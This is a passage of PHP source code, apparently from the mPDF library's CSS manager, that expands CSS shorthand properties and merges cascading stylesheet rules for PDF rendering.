'BORDER-LEFT') { $newprop['BORDER-LEFT'] = $this->_fix_borderStr($v); } elseif ($k === 'BORDER-STYLE') { $e = $this->expand24($v); if (!empty($e)) { $newprop['BORDER-TOP-STYLE'] = $e['T']; $newprop['BORDER-RIGHT-STYLE'] = $e['R']; $newprop['BORDER-BOTTOM-STYLE'] = $e['B']; $newprop['BORDER-LEFT-STYLE'] = $e['L']; } } elseif ($k === 'BORDER-WIDTH') { $e = $this->expand24($v); if (!empty($e)) { $newprop['BORDER-TOP-WIDTH'] = $e['T']; $newprop['BORDER-RIGHT-WIDTH'] = $e['R']; $newprop['BORDER-BOTTOM-WIDTH'] = $e['B']; $newprop['BORDER-LEFT-WIDTH'] = $e['L']; } } elseif ($k === 'BORDER-COLOR') { $e = $this->expand24($v); if (!empty($e)) { $newprop['BORDER-TOP-COLOR'] = $e['T']; $newprop['BORDER-RIGHT-COLOR'] = $e['R']; $newprop['BORDER-BOTTOM-COLOR'] = $e['B']; $newprop['BORDER-LEFT-COLOR'] = $e['L']; } } elseif ($k === 'BORDER-SPACING') { $prop = preg_split('/\s+/', trim($v)); if (count($prop) == 1) { $newprop['BORDER-SPACING-H'] = $prop[0]; $newprop['BORDER-SPACING-V'] = $prop[0]; } elseif (count($prop) == 2) { $newprop['BORDER-SPACING-H'] = $prop[0]; $newprop['BORDER-SPACING-V'] = $prop[1]; } } elseif ($k === 'TEXT-OUTLINE') { $prop = preg_split('/\s+/', trim($v)); if (strtolower(trim($v)) === 'none') { $newprop['TEXT-OUTLINE'] = 'none'; } elseif (count($prop) == 2) { $newprop['TEXT-OUTLINE-WIDTH'] = $prop[0]; $newprop['TEXT-OUTLINE-COLOR'] = $prop[1]; } elseif (count($prop) == 3) { $newprop['TEXT-OUTLINE-WIDTH'] = $prop[0]; $newprop['TEXT-OUTLINE-COLOR'] = $prop[2]; } } elseif ($k === 'SIZE') { $prop = preg_split('/\s+/', trim($v)); if (preg_match('/(auto|portrait|landscape)/', $prop[0])) { $newprop['SIZE'] = strtoupper($prop[0]); } elseif (count($prop) == 1) { $newprop['SIZE']['W'] = $this->sizeConverter->convert($prop[0]); $newprop['SIZE']['H'] = $this->sizeConverter->convert($prop[0]); } elseif (count($prop) == 2) { $newprop['SIZE']['W'] = $this->sizeConverter->convert($prop[0]); $newprop['SIZE']['H'] = $this->sizeConverter->convert($prop[1]); } } elseif ($k === 'SHEET-SIZE') { $prop = preg_split('/\s+/', trim($v)); if (count($prop) == 2) { $newprop['SHEET-SIZE'] = [$this->sizeConverter->convert($prop[0]), $this->sizeConverter->convert($prop[1])]; } else { if (preg_match('/([0-9a-zA-Z]*)-L/i', $v, $m)) { // e.g. A4-L = A$ landscape $ft = PageFormat::getSizeFromName($m[1]); $format = [$ft[1], $ft[0]]; } else { $format = PageFormat::getSizeFromName($v); } if ($format) { $newprop['SHEET-SIZE'] = [$format[0] / Mpdf::SCALE, $format[1] / Mpdf::SCALE]; } } } elseif ($k === 'BACKGROUND') { $bg = $this->parseCSSbackground($v); if ($bg['c']) { $newprop['BACKGROUND-COLOR'] = $bg['c']; } else { $newprop['BACKGROUND-COLOR'] = 'transparent'; } if ($bg['i']) { $newprop['BACKGROUND-IMAGE'] = $bg['i']; if ($bg['r']) { $newprop['BACKGROUND-REPEAT'] = $bg['r']; } if ($bg['p']) { $newprop['BACKGROUND-POSITION'] = $bg['p']; } } else { $newprop['BACKGROUND-IMAGE'] = ''; } } elseif ($k === 'BACKGROUND-IMAGE') { if (preg_match('/(-moz-)*(repeating-)*(linear|radial)-gradient\(.*\)/i', $v, $m)) { $newprop['BACKGROUND-IMAGE'] = $m[0]; continue; } if (preg_match('/url\([\'\"]{0,1}(.*?)[\'\"]{0,1}\)/i', $v, $m)) { $newprop['BACKGROUND-IMAGE'] = $m[1]; } elseif (strtolower($v) === 'none') { $newprop['BACKGROUND-IMAGE'] = ''; } } elseif ($k === 'BACKGROUND-REPEAT') { if (preg_match('/(repeat-x|repeat-y|no-repeat|repeat)/i', $v, $m)) { $newprop['BACKGROUND-REPEAT'] = strtolower($m[1]); } } elseif ($k === 'BACKGROUND-POSITION') { $s = $v; $bits = preg_split('/\s+/', trim($s)); // These should be Position x1 or x2 if (count($bits) === 1) { if (false !== strpos($bits[0], 'bottom')) { $bg['p'] = '50% 100%'; } elseif (false !== strpos($bits[0], 'top')) { $bg['p'] = '50% 0%'; } else { $bg['p'] = $bits[0] . ' 50%'; } } elseif (count($bits) === 2) { // Can be either right center or center right if (preg_match('/(top|bottom)/', $bits[0]) || preg_match('/(left|right)/', $bits[1])) { $bg['p'] = $bits[1] . ' ' . $bits[0]; } else { $bg['p'] = $bits[0] . ' ' . $bits[1]; } } if (isset($bg['p'])) { $bg['p'] = preg_replace('/(left|top)/', '0%', $bg['p']); $bg['p'] = preg_replace('/(right|bottom)/', '100%', $bg['p']); $bg['p'] = preg_replace('/(center)/', '50%', $bg['p']); if (!preg_match('/[\-]{0,1}\d+(in|cm|mm|pt|pc|em|ex|px|%)* [\-]{0,1}\d+(in|cm|mm|pt|pc|em|ex|px|%)*/', $bg['p'])) { $bg['p'] = false; } $newprop['BACKGROUND-POSITION'] = $bg['p']; } } elseif ($k === 'IMAGE-ORIENTATION') { if (preg_match('/([\-]*[0-9\.]+)(deg|grad|rad)/i', $v, $m)) { $angle = $m[1] + 0; if (strtolower($m[2]) === 'grad') { $angle *= (360 / 400); } elseif (strtolower($m[2]) === 'rad') { $angle = rad2deg($angle); } while ($angle < 0) { $angle += 360; } $angle %= 360; $angle /= 90; $angle = round($angle) * 90; $newprop['IMAGE-ORIENTATION'] = $angle; } } elseif ($k === 'TEXT-ALIGN') { if (preg_match('/["\'](.){1}["\']/i', $v, $m)) { $d = array_search($m[1], $this->mpdf->decimal_align); if ($d !== false) { $newprop['TEXT-ALIGN'] = $d; } if (preg_match('/(center|left|right)/i', $v, $m)) { $newprop['TEXT-ALIGN'] .= strtoupper(substr($m[1], 0, 1)); } else { $newprop['TEXT-ALIGN'] .= 'R'; } // default = R } elseif (preg_match('/["\'](\\\[a-fA-F0-9]{1,6})["\']/i', $v, $m)) { $utf8 = UtfString::codeHex2utf(substr($m[1], 1, 6)); $d = array_search($utf8, $this->mpdf->decimal_align); if ($d !== false) { $newprop['TEXT-ALIGN'] = $d; } if (preg_match('/(center|left|right)/i', $v, $m)) { $newprop['TEXT-ALIGN'] .= strtoupper(substr($m[1], 0, 1)); } else { $newprop['TEXT-ALIGN'] .= 'R'; } // default = R } else { $newprop[$k] = $v; } } elseif ($k === 'LIST-STYLE') { if (preg_match('/none/i', $v, $m)) { $newprop['LIST-STYLE-TYPE'] = 'none'; $newprop['LIST-STYLE-IMAGE'] = 'none'; } if (preg_match('/(lower-roman|upper-roman|lower-latin|lower-alpha|upper-latin|upper-alpha|decimal|disc|circle|square|arabic-indic|bengali|devanagari|gujarati|gurmukhi|kannada|malayalam|oriya|persian|tamil|telugu|thai|urdu|cambodian|khmer|lao|cjk-decimal|hebrew)/i', $v, $m)) { $newprop['LIST-STYLE-TYPE'] = strtolower(trim($m[1])); } elseif (preg_match('/U\+([a-fA-F0-9]+)/i', $v, $m)) { $newprop['LIST-STYLE-TYPE'] = strtolower(trim($m[1])); } if (preg_match('/url\([\'\"]{0,1}(.*?)[\'\"]{0,1}\)/i', $v, $m)) { $newprop['LIST-STYLE-IMAGE'] = strtolower(trim($m[1])); } if (preg_match('/(inside|outside)/i', $v, $m)) { $newprop['LIST-STYLE-POSITION'] = strtolower(trim($m[1])); } } else { $newprop[$k] = $v; } } return $newprop; } function setCSSboxshadow($v) { $sh = []; $c = preg_match_all('/(rgba|rgb|device-cmyka|cmyka|device-cmyk|cmyk|hsla|hsl)\(.*?\)/', $v, $x); // mPDF 5.6.05 for ($i = 0; $i < $c; $i++) { $col = preg_replace('/,/', '*', $x[0][$i]); $v = str_replace($x[0][$i], $col, $v); } $ss = explode(',', $v); foreach ($ss as $s) { $new = ['inset' => false, 'blur' => 0, 'spread' => 0]; if (false !== stripos($s, 'inset')) { $new['inset'] = true; $s = preg_replace('/\s*inset\s*/', '', $s); } $p = explode(' ', trim($s)); if (isset($p[0])) { $new['x'] = $this->sizeConverter->convert(trim($p[0]), $this->mpdf->blk[$this->mpdf->blklvl - 1]['inner_width'], $this->mpdf->FontSize, false); } if (isset($p[1])) { $new['y'] = $this->sizeConverter->convert(trim($p[1]), $this->mpdf->blk[$this->mpdf->blklvl - 1]['inner_width'], $this->mpdf->FontSize, false); } if (isset($p[2])) { if (preg_match('/^\s*[\.\-0-9]/', $p[2])) { $new['blur'] = $this->sizeConverter->convert(trim($p[2]), $this->mpdf->blk[$this->mpdf->blklvl - 1]['inner_width'], $this->mpdf->FontSize, false); } else { $new['col'] = $this->colorConverter->convert(preg_replace('/\*/', ',', $p[2]), $this->mpdf->PDFAXwarnings); } if (isset($p[3])) { if (preg_match('/^\s*[\.\-0-9]/', $p[3])) { $new['spread'] = $this->sizeConverter->convert(trim($p[3]), $this->mpdf->blk[$this->mpdf->blklvl - 1]['inner_width'], $this->mpdf->FontSize, false); } else { $new['col'] = $this->colorConverter->convert(preg_replace('/\*/', ',', $p[3]), $this->mpdf->PDFAXwarnings); } if (isset($p[4])) { $new['col'] = $this->colorConverter->convert(preg_replace('/\*/', ',', $p[4]), $this->mpdf->PDFAXwarnings); } } } if (empty($new['col'])) { $new['col'] = $this->colorConverter->convert('#888888', $this->mpdf->PDFAXwarnings); } if (isset($new['y'])) { array_unshift($sh, $new); } } return $sh; } function setCSStextshadow($v) { $sh = []; $c = preg_match_all('/(rgba|rgb|device-cmyka|cmyka|device-cmyk|cmyk|hsla|hsl)\(.*?\)/', $v, $x); // mPDF 5.6.05 for ($i = 0; $i < $c; $i++) { $col = preg_replace('/,\s/', '*', $x[0][$i]); $v = str_replace($x[0][$i], $col, $v); } $ss = explode(',', $v); foreach ($ss as $s) { $new = ['blur' => 0]; $p = explode(' ', trim($s)); if (isset($p[0])) { $new['x'] = $this->sizeConverter->convert(trim($p[0]), $this->mpdf->FontSize, $this->mpdf->FontSize, false); } if (isset($p[1])) { $new['y'] = $this->sizeConverter->convert(trim($p[1]), $this->mpdf->FontSize, $this->mpdf->FontSize, false); } if (isset($p[2])) { if (preg_match('/^\s*[\.\-0-9]/', $p[2])) { $new['blur'] = $this->sizeConverter->convert( trim($p[2]), isset($this->mpdf->blk[$this->mpdf->blklvl]['inner_width']) ? $this->mpdf->blk[$this->mpdf->blklvl]['inner_width'] : 0, $this->mpdf->FontSize, false ); } else { $new['col'] = $this->colorConverter->convert(preg_replace('/\*/', ',', $p[2]), $this->mpdf->PDFAXwarnings); } if (isset($p[3])) { $new['col'] = $this->colorConverter->convert(preg_replace('/\*/', ',', $p[3]), $this->mpdf->PDFAXwarnings); } } if (!isset($new['col']) || !$new['col']) { $new['col'] = $this->colorConverter->convert('#888888', $this->mpdf->PDFAXwarnings); } if (isset($new['y'])) { array_unshift($sh, $new); } } return $sh; } function parseCSSbackground($s) { $bg = ['c' => false, 'i' => false, 'r' => false, 'p' => false,]; /* -- BACKGROUNDS -- */ if (preg_match('/(-moz-)*(repeating-)*(linear|radial)-gradient\(.*\)/i', $s, $m)) { $bg['i'] = $m[0]; } else { if (preg_match('/url\(/i', $s)) { /* -- END BACKGROUNDS -- */ // If color, set and strip it off // mPDF 5.6.05 if (preg_match('/^\s*(#[0-9a-fA-F]{3,6}|(rgba|rgb|device-cmyka|cmyka|device-cmyk|cmyk|hsla|hsl|spot)\(.*?\)|[a-zA-Z]{3,})\s+(url\(.*)/i', $s, $m)) { $bg['c'] = strtolower($m[1]); $s = $m[3]; } /* -- BACKGROUNDS -- */ if (preg_match('/url\([\'\"]{0,1}(.*?)[\'\"]{0,1}\)\s*(.*)/i', $s, $m)) { $bg['i'] = $m[1]; $s = strtolower($m[2]); if (preg_match('/(repeat-x|repeat-y|no-repeat|repeat)/', $s, $m)) { $bg['r'] = $m[1]; } // Remove repeat, attachment (discarded) and also any inherit $s = preg_replace('/(repeat-x|repeat-y|no-repeat|repeat|scroll|fixed|inherit)/', '', $s); $bits = preg_split('/\s+/', trim($s)); // These should be Position x1 or x2 if (count($bits) == 1) { if (false !== strpos($bits[0], 'bottom')) { $bg['p'] = '50% 100%'; } elseif (false !== strpos($bits[0], 'top')) { $bg['p'] = '50% 0%'; } else { $bg['p'] = $bits[0] . ' 50%'; } } elseif (count($bits) == 2) { // Can be either right center or center right if (preg_match('/(top|bottom)/', $bits[0]) || preg_match('/(left|right)/', $bits[1])) { $bg['p'] = $bits[1] . ' ' . $bits[0]; } else { $bg['p'] = $bits[0] . ' ' . $bits[1]; } } if ($bg['p']) { $bg['p'] = preg_replace('/(left|top)/', '0%', $bg['p']); $bg['p'] = preg_replace('/(right|bottom)/', '100%', $bg['p']); $bg['p'] = preg_replace('/(center)/', '50%', $bg['p']); if (!preg_match('/[\-]{0,1}\d+(in|cm|mm|pt|pc|em|ex|px|%)* [\-]{0,1}\d+(in|cm|mm|pt|pc|em|ex|px|%)*/', $bg['p'])) { $bg['p'] = false; } } } /* -- END BACKGROUNDS -- */ } elseif (preg_match('/^\s*(#[0-9a-fA-F]{3,6}|(rgba|rgb|device-cmyka|cmyka|device-cmyk|cmyk|hsla|hsl|spot)\(.*?\)|[a-zA-Z]{3,})/i', $s, $m)) { $bg['c'] = strtolower($m[1]); } } // mPDF 5.6.05 return ($bg); } function expand24($mp) { $prop = preg_split('/\s+/', trim($mp)); $prop_count = count($prop); if ($prop_count === 1) { return ['T' => $prop[0], 'R' => $prop[0], 'B' => $prop[0], 'L' => $prop[0]]; } if ($prop_count === 2) { return ['T' => $prop[0], 'R' => $prop[1], 'B' => $prop[0], 'L' => $prop[1]]; } if ($prop_count === 3) { return ['T' => $prop[0], 'R' => $prop[1], 'B' => $prop[2], 'L' => $prop[1]]; } // Ignore rule parts after first 4 values (most likely !important) if ($prop_count >= 4) { return ['T' => $prop[0], 'R' => $prop[1], 'B' => $prop[2], 'L' => $prop[3]]; } return []; } /* -- BORDER-RADIUS -- */ function border_radius_expand($val, $k) { $b = []; if ($k === 'BORDER-RADIUS') { $hv = explode('/', trim($val)); $prop = preg_split('/\s+/', trim($hv[0])); if (count($prop) == 1) { $b['TL-H'] = $b['TR-H'] = $b['BR-H'] = $b['BL-H'] = $prop[0]; } elseif (count($prop) == 2) { $b['TL-H'] = $b['BR-H'] = $prop[0]; $b['TR-H'] = $b['BL-H'] = $prop[1]; } elseif (count($prop) == 3) { $b['TL-H'] = $prop[0]; $b['TR-H'] = $b['BL-H'] = $prop[1]; $b['BR-H'] = $prop[2]; } elseif (count($prop) == 4) { $b['TL-H'] = $prop[0]; $b['TR-H'] = $prop[1]; $b['BR-H'] = $prop[2]; $b['BL-H'] = $prop[3]; } if (count($hv) == 2) { $prop = preg_split('/\s+/', trim($hv[1])); if (count($prop) == 1) { $b['TL-V'] = $b['TR-V'] = $b['BR-V'] = $b['BL-V'] = $prop[0]; } elseif (count($prop) == 2) { $b['TL-V'] = $b['BR-V'] = $prop[0]; $b['TR-V'] = $b['BL-V'] = $prop[1]; } elseif (count($prop) == 3) { $b['TL-V'] = $prop[0]; $b['TR-V'] = $b['BL-V'] = $prop[1]; $b['BR-V'] = $prop[2]; } elseif (count($prop) == 4) { $b['TL-V'] = $prop[0]; $b['TR-V'] = $prop[1]; $b['BR-V'] = $prop[2]; $b['BL-V'] = $prop[3]; } } else { $b['TL-V'] = Arrays::get($b, 'TL-H', 0); $b['TR-V'] = Arrays::get($b, 'TR-H', 0); $b['BL-V'] = Arrays::get($b, 'BL-H', 0); $b['BR-V'] = Arrays::get($b, 'BR-H', 0); } return $b; } // Parse 2 $prop = preg_split('/\s+/', trim($val)); if (count($prop) == 1) { $h = $v = $val; } else { $h = $prop[0]; $v = $prop[1]; } if ($h == 0 || $v == 0) { $h = $v = 0; } if ($k === 'BORDER-TOP-LEFT-RADIUS') { $b['TL-H'] = $h; $b['TL-V'] = $v; } elseif ($k === 'BORDER-TOP-RIGHT-RADIUS') { $b['TR-H'] = $h; $b['TR-V'] = $v; } elseif ($k === 'BORDER-BOTTOM-LEFT-RADIUS') { $b['BL-H'] = $h; $b['BL-V'] = $v; } elseif ($k === 'BORDER-BOTTOM-RIGHT-RADIUS') { $b['BR-H'] = $h; $b['BR-V'] = $v; } return $b; } /* -- END BORDER-RADIUS -- */ function _mergeCSS($p, &$t) { // Save Cascading CSS e.g. "div.topic p" at this block level if (isset($p) && $p) { if ($t) { $t = $this->array_merge_recursive_unique($t, $p); } else { $t = $p; } } } // for CSS handling function array_merge_recursive_unique($array1, $array2) { $arrays = func_get_args(); $narrays = count($arrays); $ret = $arrays[0]; for ($i = 1; $i < $narrays; $i ++) { foreach ($arrays[$i] as $key => $value) { if (((string) $key) === ((string) ((int) $key))) { // integer or string as integer key - append $ret[] = $value; } else { // string key - merge if (is_array($value) && isset($ret[$key])) { $ret[$key] = $this->array_merge_recursive_unique($ret[$key], $value); } else { $ret[$key] = $value; } } } } return $ret; } function _mergeFullCSS($p, &$t, $tag, $classes, $id, $lang) { // mPDF 6 if (isset($p[$tag])) { $this->_mergeCSS($p[$tag], $t); } // STYLESHEET CLASS e.g. .smallone{} .redletter{} foreach ($classes as $class) { if (isset($p['CLASS>>' . $class])) { $this->_mergeCSS($p['CLASS>>' . $class], $t); } } // STYLESHEET nth-child SELECTOR e.g. tr:nth-child(odd) td:nth-child(2n+1) if ($tag === 'TR' && isset($p) && $p) { foreach ($p as $k => $val) { if (preg_match('/' . $tag . '>>SELECTORNTHCHILD>>(.*)/', $k, $m)) { $select = false; if ($tag === 'TR') { $row = $this->mpdf->row; $thnr = (isset($this->mpdf->table[$this->mpdf->tableLevel][$this->mpdf->tbctr[$this->mpdf->tableLevel]]['is_thead']) ? count($this->mpdf->table[$this->mpdf->tableLevel][$this->mpdf->tbctr[$this->mpdf->tableLevel]]['is_thead']) : 0); $tfnr = (isset($this->mpdf->table[$this->mpdf->tableLevel][$this->mpdf->tbctr[$this->mpdf->tableLevel]]['is_tfoot']) ? count($this->mpdf->table[$this->mpdf->tableLevel][$this->mpdf->tbctr[$this->mpdf->tableLevel]]['is_tfoot']) : 0); if ($this->mpdf->tabletfoot) { $row -= $thnr; } elseif (!$this->mpdf->tablethead) { $row -= ($thnr + $tfnr); } if (preg_match('/(([\-+]?\d*)?N([\-+]\d+)?|[\-+]?\d+|ODD|EVEN)/', $m[1], $a)) { // mPDF 5.7.4 $select = $this->_nthchild($a, $row); } } elseif ($tag === 'TD' || $tag === 'TH') { if (preg_match('/(([\-+]?\d*)?N([\-+]\d+)?|[\-+]?\d+|ODD|EVEN)/', $m[1], $a)) { // mPDF 5.7.4 $select = $this->_nthchild($a, $this->mpdf->col); } } if ($select) { $this->_mergeCSS($p[$tag . '>>SELECTORNTHCHILD>>' . $m[1]], $t); } } } } // STYLESHEET CLASS e.g. [lang=fr]{} or :lang(fr) if (isset($lang) && isset($p['LANG>>' . $lang])) { $this->_mergeCSS($p['LANG>>' . $lang], $t); } // STYLESHEET CLASS e.g. #smallone{} #redletter{} if (isset($id) && isset($p['ID>>' . $id])) { $this->_mergeCSS($p['ID>>' . $id], $t); } // STYLESHEET CLASS e.g. .smallone{} .redletter{} foreach ($classes as $class) { if (isset($p[$tag . '>>CLASS>>' . $class])) { $this->_mergeCSS($p[$tag . '>>CLASS>>' . $class], $t); } } // STYLESHEET CLASS e.g. [lang=fr]{} or :lang(fr) if (isset($lang) && isset($p[$tag . '>>LANG>>' . $lang])) { $this->_mergeCSS($p[$tag . '>>LANG>>' . $lang], $t); } // STYLESHEET CLASS e.g. #smallone{} #redletter{} if (isset($id) && isset($p[$tag . '>>ID>>' . $id])) { $this->_mergeCSS($p[$tag . '>>ID>>' . $id], $t); } } function setBorderDominance($prop, $val) { if (!empty($prop['BORDER-LEFT'])) { $this->cell_border_dominance_L = $val; } if (!empty($prop['BORDER-RIGHT'])) { $this->cell_border_dominance_R = $val; } if (!empty($prop['BORDER-TOP'])) { $this->cell_border_dominance_T = $val; } if (!empty($prop['BORDER-BOTTOM'])) { $this->cell_border_dominance_B = $val; } } function _set_mergedCSS(&$m, &$p, $d = true, $bd = false) { if (isset($m)) { if ((isset($m['depth']) && $m['depth'] > 1) || $d == false) { // include check for 'depth' if ($bd) { $this->setBorderDominance($m, $bd); } // *TABLES* if (is_array($m)) { $p = array_merge($p, $m); $this->_mergeBorders($p, $m); } } } } function _mergeBorders(&$b, &$a) { // Merges $a['BORDER-TOP-STYLE'] to $b['BORDER-TOP'] etc. foreach (['TOP', 'RIGHT', 'BOTTOM', 'LEFT'] as $side) { foreach (['STYLE', 'WIDTH', 'COLOR'] as $el) { if (isset($a['BORDER-' . $side . '-' . $el])) { // e.g. $b['BORDER-TOP-STYLE'] $s = trim($a['BORDER-' . $side . '-' . $el]); if (isset($b['BORDER-' . $side])) { // e.g. $b['BORDER-TOP'] $p = trim($b['BORDER-' . $side]); } else { $p = ''; } if ($el === 'STYLE') { if ($p) { $b['BORDER-' . $side] = preg_replace('/(\S+)\s+(\S+)\s+(\S+)/', '\\1 ' . $s . ' \\3', $p); } else { $b['BORDER-' . $side] = '0px ' . $s . ' #000000'; } } elseif ($el === 'WIDTH') { if ($p) { $b['BORDER-' . $side] = preg_replace('/(\S+)\s+(\S+)\s+(\S+)/', $s . ' \\2 \\3', $p); } else { $b['BORDER-' . $side] = $s . ' none #000000'; } } elseif ($el === 'COLOR') { if ($p) { $b['BORDER-' . $side] = preg_replace('/(\S+)\s+(\S+)\s+(\S+)/', '\\1 \\2 ' . $s, $p); } else { $b['BORDER-' . $side] = '0px none ' . $s; } } } } } } function MergeCSS($inherit, $tag, $attr) { $p = []; $attr = is_array($attr) ? $attr : []; $classes = []; if (isset($attr['CLASS'])) { $classes = array_map(function ($combination) { return join('.', $combination); }, Arrays::allUniqueSortedCombinations(preg_split('/\s+/', $attr['CLASS']))); } if (!isset($attr['ID'])) { $attr['ID'] = ''; } // mPDF 6 $shortlang = ''; if (!isset($attr['LANG'])) { $attr['LANG'] = ''; } else { $attr['LANG'] = strtolower($attr['LANG']); if (strlen($attr['LANG']) == 5) { $shortlang = substr($attr['LANG'], 0, 2); } } /* -- TABLES -- */ // Set Inherited properties if ($inherit === 'TOPTABLE') { // $tag = TABLE // Save Cascading CSS e.g. "div.topic p" at this block level if (isset($this->mpdf->blk[$this->mpdf->blklvl]['cascadeCSS'])) { $this->tablecascadeCSS[0] = $this->mpdf->blk[$this->mpdf->blklvl]['cascadeCSS']; } else { $this->tablecascadeCSS[0] = $this->cascadeCSS; } } // Set Inherited properties if ($inherit === 'TOPTABLE' || $inherit === 'TABLE') { // Cascade everything from last level that is not an actual property, or defined by current tag/attributes if (isset($this->tablecascadeCSS[$this->tbCSSlvl - 1]) && is_array($this->tablecascadeCSS[$this->tbCSSlvl - 1])) { foreach ($this->tablecascadeCSS[$this->tbCSSlvl - 1] as $k => $v) { $this->tablecascadeCSS[$this->tbCSSlvl][$k] = $v; } } $this->_mergeFullCSS( $this->cascadeCSS, $this->tablecascadeCSS[$this->tbCSSlvl], $tag, $classes, $attr['ID'], $attr['LANG'] ); // Cascading forward CSS e.g. "table.topic td" for this table in $this->tablecascadeCSS // STYLESHEET TAG e.g. table if (isset($this->tablecascadeCSS[$this->tbCSSlvl - 1])) { $this->_mergeFullCSS( $this->tablecascadeCSS[$this->tbCSSlvl - 1], $this->tablecascadeCSS[$this->tbCSSlvl], $tag, $classes, $attr['ID'], $attr['LANG'] ); } } /* -- END TABLES -- */ //=============================================== // Set Inherited properties if ($inherit === 'BLOCK') { if (isset($this->mpdf->blk[$this->mpdf->blklvl - 1]['cascadeCSS']) && is_array($this->mpdf->blk[$this->mpdf->blklvl - 1]['cascadeCSS'])) { foreach ($this->mpdf->blk[$this->mpdf->blklvl - 1]['cascadeCSS'] as $k => $v) { $this->mpdf->blk[$this->mpdf->blklvl]['cascadeCSS'][$k] = $v; } } //=============================================== // Save Cascading CSS e.g. "div.topic p" at this block level $this->_mergeFullCSS($this->cascadeCSS, $this->mpdf->blk[$this->mpdf->blklvl]['cascadeCSS'], $tag, $classes, $attr['ID'], $attr['LANG']); //=============================================== // Cascading forward CSS //=============================================== if (isset($this->mpdf->blk[$this->mpdf->blklvl - 1])) { $this->_mergeFullCSS($this->mpdf->blk[$this->mpdf->blklvl - 1]['cascadeCSS'], $this->mpdf->blk[$this->mpdf->blklvl]['cascadeCSS'], $tag, $classes, $attr['ID'], $attr['LANG']); } //=============================================== // Block properties which are inherited if (isset($this->mpdf->blk[$this->mpdf->blklvl - 1]['margin_collapse']) && $this->mpdf->blk[$this->mpdf->blklvl - 1]['margin_collapse']) { $p['MARGIN-COLLAPSE'] = 'COLLAPSE'; } // custom tag, but follows CSS principle that border-collapse is inherited if (isset($this->mpdf->blk[$this->mpdf->blklvl - 1]['line_height']) && $this->mpdf->blk[$this->mpdf->blklvl - 1]['line_height']) { $p['LINE-HEIGHT'] = $this->mpdf->blk[$this->mpdf->blklvl - 1]['line_height']; } // mPDF 6 if (isset($this->mpdf->blk[$this->mpdf->blklvl - 1]['line_stacking_strategy']) && $this->mpdf->blk[$this->mpdf->blklvl - 1]['line_stacking_strategy']) { $p['LINE-STACKING-STRATEGY'] = $this->mpdf->blk[$this->mpdf->blklvl - 1]['line_stacking_strategy']; } if (isset($this->mpdf->blk[$this->mpdf->blklvl - 1]['line_stacking_shift']) && $this->mpdf->blk[$this->mpdf->blklvl - 1]['line_stacking_shift']) { $p['LINE-STACKING-SHIFT'] = $this->mpdf->blk[$this->mpdf->blklvl - 1]['line_stacking_shift']; } if (isset($this->mpdf->blk[$this->mpdf->blklvl - 1]['direction']) && $this->mpdf->blk[$this->mpdf->blklvl - 1]['direction']) { $p['DIRECTION'] = $this->mpdf->blk[$this->mpdf->blklvl - 1]['direction']; } // mPDF 6 Lists if ($tag === 'LI') { if (isset($this->mpdf->blk[$this->mpdf->blklvl - 1]['list_style_type']) && $this->mpdf->blk[$this->mpdf->blklvl - 1]['list_style_type']) { $p['LIST-STYLE-TYPE'] = $this->mpdf->blk[$this->mpdf->blklvl - 1]['list_style_type']; } } if (isset($this->mpdf->blk[$this->mpdf->blklvl - 1]['list_style_image']) && $this->mpdf->blk[$this->mpdf->blklvl - 1]['list_style_image']) { $p['LIST-STYLE-IMAGE'] = $this->mpdf->blk[$this->mpdf->blklvl - 1]['list_style_image']; } if (isset($this->mpdf->blk[$this->mpdf->blklvl - 1]['list_style_position']) && $this->mpdf->blk[$this->mpdf->blklvl - 1]['list_style_position']) { $p['LIST-STYLE-POSITION'] = $this->mpdf->blk[$this->mpdf->blklvl - 1]['list_style_position']; } if (isset($this->mpdf->blk[$this->mpdf->blklvl - 1]['align']) && $this->mpdf->blk[$this->mpdf->blklvl - 1]['align']) { if ($this->mpdf->blk[$this->mpdf->blklvl - 1]['align'] === 'L') { $p['TEXT-ALIGN'] = 'left'; } elseif ($this->mpdf->blk[$this->mpdf->blklvl - 1]['align'] === 'J') { $p['TEXT-ALIGN'] = 'justify'; } elseif ($this->mpdf->blk[$this->mpdf->blklvl - 1]['align'] === 'R') { $p['TEXT-ALIGN'] = 'right'; } elseif ($this->mpdf->blk[$this->mpdf->blklvl - 1]['align'] === 'C') { $p['TEXT-ALIGN'] = 'center'; } } if ($this->mpdf->ColActive || $this->mpdf->keep_block_together) { if (isset($this->mpdf->blk[$this->mpdf->blklvl - 1]['bgcolor']) && $this->mpdf->blk[$this->mpdf->blklvl - 1]['bgcolor']) { // Doesn't officially inherit, but default value is transparent (?=inherited) $cor = $this->mpdf->blk[$this->mpdf->blklvl - 1]['bgcolorarray']; $p['BACKGROUND-COLOR'] = $this->colorConverter->colAtoString($cor); } } if (isset($this->mpdf->blk[$this->mpdf->blklvl - 1]['text_indent']) && ($this->mpdf->blk[$this->mpdf->blklvl - 1]['text_indent'] || $this->mpdf->blk[$this->mpdf->blklvl - 1]['text_indent'] === 0)) { $p['TEXT-INDENT'] = $this->mpdf->blk[$this->mpdf->blklvl - 1]['text_indent']; } if (isset($this->mpdf->blk[$this->mpdf->blklvl - 1]['InlineProperties'])) { $biilp = $this->mpdf->blk[$this->mpdf->blklvl - 1]['InlineProperties']; $this->inlinePropsToCSS($biilp, $p); // mPDF 5.7.1 } else { $biilp = null; } } //=============================================== //=============================================== // INLINE HTML ATTRIBUTES e.g. .. ALIGN="CENTER"> // mPDF 6 (added) if (isset($attr['DIR']) && $attr['DIR'] != '') { $p['DIRECTION'] = $attr['DIR']; } // mPDF 6 (moved) if (isset($attr['LANG']) && $attr['LANG'] != '') { $p['LANG'] = $attr['LANG']; } if (isset($attr['COLOR']) && $attr['COLOR'] != '') { $p['COLOR'] = $attr['COLOR']; } if ($tag !== 'INPUT') { if (isset($attr['WIDTH']) && $attr['WIDTH'] != '') { $p['WIDTH'] = $attr['WIDTH']; } if (isset($attr['HEIGHT']) && $attr['HEIGHT'] != '') { $p['HEIGHT'] = $attr['HEIGHT']; } } if ($tag === 'FONT') { if (isset($attr['FACE'])) { $p['FONT-FAMILY'] = $attr['FACE']; } if (isset($attr['SIZE']) && $attr['SIZE'] != '') { $s = ''; if ($attr['SIZE'] === '+1') { $s = '120%'; } elseif ($attr['SIZE'] === '-1') { $s = '86%'; } elseif ($attr['SIZE'] === '1') { $s = 'XX-SMALL'; } elseif ($attr['SIZE'] == '2') { $s = 'X-SMALL'; } elseif ($attr['SIZE'] == '3') { $s = 'SMALL'; } elseif ($attr['SIZE'] == '4') { $s = 'MEDIUM'; } elseif ($attr['SIZE'] == '5') { $s = 'LARGE'; } elseif ($attr['SIZE'] == '6') { $s = 'X-LARGE'; } elseif ($attr['SIZE'] == '7') { $s = 